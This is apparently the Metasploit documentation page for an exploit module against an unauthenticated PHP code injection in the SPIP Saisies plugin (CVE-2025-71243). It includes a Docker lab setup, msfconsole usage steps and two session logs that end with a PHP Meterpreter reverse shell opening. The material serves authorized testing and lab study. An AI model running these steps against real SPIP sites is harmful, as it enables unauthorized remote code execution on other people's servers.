Back to Metasploit Framework

Spip Saisies Rce

documentation/modules/exploit/multi/http/spip_saisies_rce.md

6.4.1317.3 KB
Original Source

Vulnerable Application

This module exploits an unauthenticated PHP code injection in the SPIP Saisies plugin (CVE-2025-71243). The _anciennes_valeurs form parameter is interpolated unsanitized into a hidden field rendered with interdire_scripts=false, giving direct PHP code execution via SPIP's template eval.

Exploitation requires a publicly accessible page containing a saisies-powered form, most commonly created with the Formidable plugin. Versions 5.4.0 through 5.11.0 of the saisies plugin are affected.

Docker Setup

bash
mkdir spip-lab && cd spip-lab

Create docker-compose.yml:

yaml
services:
  spip:
    image: ipeos/spip:latest
    container_name: spip-cve
    ports:
      - "8888:80"
    environment:
      SPIP_AUTO_INSTALL: 1
      SPIP_DB_SERVER: mysql
      SPIP_DB_HOST: db
      SPIP_DB_LOGIN: spip
      SPIP_DB_PASS: spip
      SPIP_DB_NAME: spip
      SPIP_ADMIN_NAME: Admin
      SPIP_ADMIN_LOGIN: admin
      SPIP_ADMIN_EMAIL: [email protected]
      SPIP_ADMIN_PASS: adminadmin
      SPIP_SITE_ADDRESS: http://localhost:8888
    volumes:
      - ./setup.sh:/opt/setup.sh
    entrypoint: ["/bin/bash", "-c", "/opt/setup.sh & exec /docker-entrypoint.sh apache2-foreground"]
    depends_on:
      db:
        condition: service_healthy
    healthcheck:
      test: ["CMD", "bash", "-c", "curl -sf http://localhost/spip.php?page=contact | grep -q _anciennes_valeurs"]
      interval: 10s
      timeout: 5s
      retries: 30

  db:
    image: mariadb:10.11
    container_name: spip-cve-db
    environment:
      MYSQL_DATABASE: spip
      MYSQL_USER: spip
      MYSQL_PASSWORD: spip
      MYSQL_ROOT_PASSWORD: root
    healthcheck:
      test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
      interval: 5s
      timeout: 3s
      retries: 10

Create setup.sh:

bash
#!/bin/bash
PLUGINS_DIR="/var/www/html/plugins"
SAISIES_URL="https://files.spip.org/spip-zone/spip-contrib-extensions/saisies-222af-saisies-5.10.0.zip"

echo "[*] Waiting for SPIP to be fully installed..."
until [ -f /var/www/html/config/connect.php ]; do
    sleep 2
done
sleep 5

echo "[*] Installing vulnerable saisies plugin v5.10.0..."
apt-get update -qq && apt-get install -y -qq unzip >/dev/null 2>&1
mkdir -p "$PLUGINS_DIR"
curl -sL "$SAISIES_URL" -o /tmp/saisies.zip
unzip -qo /tmp/saisies.zip -d "$PLUGINS_DIR/"
chown -R www-data:www-data "$PLUGINS_DIR/"

echo "[*] Activating saisies plugin..."
echo "yes" | spip plugins:activer saisies

echo "[*] Creating contact form with _saisies..."
mkdir -p /var/www/html/formulaires
cat > /var/www/html/formulaires/contact.php << 'FORMPHP'
<?php
if (!defined("_ECRIRE_INC_VERSION")) return;

function formulaires_contact_saisies_dist() {
    return [
        ["saisie" => "input", "options" => ["nom" => "nom", "label" => "Votre nom", "obligatoire" => "oui"]],
        ["saisie" => "selection", "options" => ["nom" => "sujet", "label" => "Sujet", "datas" => ["contact" => "Contact", "support" => "Support", "autre" => "Autre"]]],
        ["saisie" => "textarea", "options" => ["nom" => "message", "label" => "Message", "obligatoire" => "oui", "rows" => 5]],
    ];
}
function formulaires_contact_charger_dist() { return ["nom" => "", "sujet" => "", "message" => ""]; }
function formulaires_contact_verifier_dist() { $e = []; if (!_request("nom")) $e["nom"] = "Obligatoire"; if (!_request("message")) $e["message"] = "Obligatoire"; return $e; }
function formulaires_contact_traiter_dist() { return ["message_ok" => "Merci !"]; }
FORMPHP

cat > /var/www/html/formulaires/contact.html << 'FORMHTML'
<div class="formulaire_spip formulaire_contact">
[(#ENV{message_ok}|oui)<p class="reponse_formulaire reponse_formulaire_ok">[(#ENV{message_ok})]</p>]
[(#ENV{editable}|oui)
<form method="post" action="#ENV{action}"><div>
#ACTION_FORMULAIRE{#ENV{action},#ENV{form}}
<INCLURE{fond=inclure/generer_saisies,env} />
<p class="boutons"><input type="submit" value="Envoyer" /></p>
</div></form>
]
</div>
FORMHTML

mkdir -p /var/www/html/squelettes
cat > /var/www/html/squelettes/contact.html << 'SQHTML'
<!DOCTYPE html>
<html><head><title>Contact</title>#INSERT_HEAD</head>
<body><h1>Contact</h1>#FORMULAIRE_CONTACT</body>
</html>
SQHTML

chown -R www-data:www-data /var/www/html/formulaires/ /var/www/html/squelettes/
rm -rf /var/www/html/tmp/cache/

echo "[+] Lab ready! Form at http://localhost:8888/spip.php?page=contact"
bash
chmod +x setup.sh
docker compose up -d

Wait about a minute for the setup script to install saisies and create the contact form. The form will be at http://localhost:8888/spip.php?page=contact.

Verification Steps

  1. Start msfconsole
  2. use exploit/multi/http/spip_saisies_rce
  3. set RHOSTS 127.0.0.1
  4. set RPORT 8888
  5. set LHOST <your-ip>
  6. check - verify it returns Appears
  7. run - verify a Meterpreter session opens

Options

FORM_PAGE

Page containing a saisies-powered form. Set to a specific page name (e.g. contact) if you already know which page has the form, or leave as crawl (default) to automatically discover one by fetching the SPIP sitemap and following internal links.

CRAWL_MAX_PAGES

Maximum number of pages to visit when crawling. Default is 100.

Scenarios

SPIP with Saisies 5.10.0 - PHP Meterpreter (direct page)

msf6 > use exploit/multi/http/spip_saisies_rce
msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889
RPORT => 8889
msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE contact
FORM_PAGE => contact
msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/spip_saisies_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Saisies plugin version: 5.10.0
[+] The target appears to be vulnerable. Saisies plugin 5.10.0 is in the vulnerable range (5.4.0 - 5.11.0).
[+] Form found at /spip.php?page=contact
[*] Sending payload...
[*] Sending stage (42137 bytes) to 172.18.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:46968) at 2026-02-21 09:23:35 +0100

meterpreter >

SPIP with Saisies 5.10.0 - PHP Meterpreter (crawl mode)

msf6 > use exploit/multi/http/spip_saisies_rce
msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889
RPORT => 8889
msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE crawl
FORM_PAGE => crawl
msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/spip_saisies_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Saisies plugin version: 5.10.0
[+] The target appears to be vulnerable. Saisies plugin 5.10.0 is in the vulnerable range (5.4.0 - 5.11.0).
[*] Crawling for saisies forms (max 100 pages)...
[+] Form found at /spip.php?page=contact (checked 3 pages)
[*] Sending payload...
[*] Sending stage (42137 bytes) to 172.18.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:50544) at 2026-02-21 09:23:53 +0100

meterpreter >